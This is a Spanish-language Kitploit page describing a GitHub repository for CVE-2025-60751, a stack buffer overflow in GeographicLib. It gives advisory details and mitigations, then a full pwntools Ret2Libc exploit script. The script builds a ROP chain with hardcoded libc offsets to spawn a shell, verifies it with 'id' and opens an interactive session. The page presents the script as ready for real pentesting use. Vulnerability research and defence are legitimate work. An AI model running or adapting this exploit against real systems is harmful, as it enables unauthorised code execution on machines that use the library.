Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-60751 — Análisis técnico y exploit profesional para CVE-2025-60751, un desbordamiento de búfer basado en pila en GeographicLib. Incluye un exploit Ret2Libc basado en pwntools con descubrimiento dinámico de gadgets ROP, integración con GDB y verificación posterior al exploit para pruebas de penetración educativas. | Kitploit
Herramientas/GitHubGitHub/kaleth4/cve-2025-60751
Análisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodeDepuradoresPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

Ver Repositorio
3hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Análisis técnico y exploit profesional para CVE-2025-60751, un desbordamiento de búfer basado en pila en GeographicLib. Incluye un exploit Ret2Libc basado en pwntools con descubrimiento dinámico de gadgets ROP, integración con GDB y verificación posterior al exploit para pruebas de penetración educativas.

Compartir

CVE-2025-60751: GeographicLib Stack-based Buffer Overflow

📌 Este repositorio contiene el análisis y la documentación técnica de la vulnerabilidad CVE-2025-60751, un fallo de desbordamiento de búfer basado en la pila (Stack-based Buffer Overflow) localizado en la biblioteca C++ GeographicLib.


📝 Descripción

La vulnerabilidad se encuentra en la función DMS::InternalDecode dentro del componente GeoConvert.
El fallo ocurre cuando la biblioteca intenta procesar cadenas de coordenadas en formato DMS (Grados, Minutos, Segundos) malformadas o excesivamente largas, lo que provoca una escritura fuera de los límites del búfer asignado en la pila.

  • Identificador: CVE-2025-60751
  • Componente: GeoConvert / DMS::InternalDecode
  • Tipo: Stack-based Buffer Overflow ()
CWE-121
  • Gravedad (CVSS 3.1): 7.5 HIGH
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 Impacto

    Un atacante remoto puede enviar una cadena de coordenadas especialmente diseñada para:

    • Denegación de Servicio (DoS): Provocar el cierre inesperado (crash) de aplicaciones que utilicen GeographicLib para convertir coordenadas.
    • Inestabilidad del Sistema: Corromper la memoria adyacente en la pila, afectando el flujo de ejecución del programa.

    ⚠️ Nota técnica: Aunque el vector actual se centra en Disponibilidad (A:H), en entornos específicos sin protecciones de memoria modernas (como Stack Canaries, NX bit o ASLR activo), este fallo podría escalar potencialmente a ejecución arbitraria de código.


    💻 Sistemas Afectados

    ProductoVersión vulnerableDistribuciones detectadas
    GeographicLib2.5Paquetes en Debian LTS, Ubuntu, y otros repositorios Linux que integran esta versión

    🛠️ Mitigación y Solución

    ✅ Actualización: Se recomienda encarecidamente actualizar a la última versión disponible de GeographicLib, donde se ha corregido la validación de longitud en InternalDecode.

    ✅ Validación de Entrada: Si no es posible actualizar, implemente una capa de saneamiento que limite la longitud de las cadenas enviadas a DMS::Decode (ej. máx. 32 caracteres).

    ✅ Compilación Segura: Asegúrese de compilar la biblioteca con flags de protección de pila:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 Referencias

    • Issue #43 – GeographicLib GitHub
    • Análisis técnico de zer0matt
    • Debian LTS Advisory

    💀 Exploit Profesional (Nivel Avanzado — OSCP / Exploit-DB Style)

    Este exploit utiliza pwntools para realizar un ataque Ret2Libc aprovechando el desbordamiento de búfer.
    A diferencia de versiones básicas, esta implementación es robusta, dinámica y verificable, lista para entornos reales de pentesting y laboratorios.

    ✅ ¿Qué lo hace "Pro"?

    CaracterísticaBeneficio
    ROP(elf) dinámicoNo depende de gadgets hardcodeados: los encuentra automáticamente en el binario.
    Soporte integrado para GDBEjecuta python exploit.py GDB → abre sesión de depuración automática.
    Verificación post-exploitEnvía id y confirma shell antes de entregar el control interactivo.
    RET para stack alignmentEvita crashes en system() por alineación incorrecta (crítico en x64).
    Payload estructurado como list + b"".join()Limpio, legible, fácil de modificar y extender.

    🐍 Código del exploit (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # Autor: Refactored for Robustness
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. Gestión de procesos (Local vs Remoto)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN puede interferir con los offsets si no se gestiona bien
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. Localización Dinámica de Gadgets
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. Fuga de Memoria (Leak) para Bypass de ASLR
        # En entornos reales: usar leak + libc-database o libc.rip.
        # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
        LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. Construcción del Payload (Estructura Limpia & Aligned)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. Ejecución y Verificación
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ Descargo de Responsabilidad
    Este repositorio tiene fines puramente informativos y educativos para profesionales de la ciberseguridad.
    El uso de esta información para fines ilícitos es responsabilidad exclusiva del usuario.
    ❗ Usa el código con precaución: solo en entornos autorizados, aislados y con permiso explícito.


    🔐 Seguridad no es una característica — es una disciplina.
    📬 Reporte de hallazgos: [email protected]
    📦 Repositorio oficial: https://github.com/geographiclib/geographiclib

    root@kitploit:~
    Descargar herramienta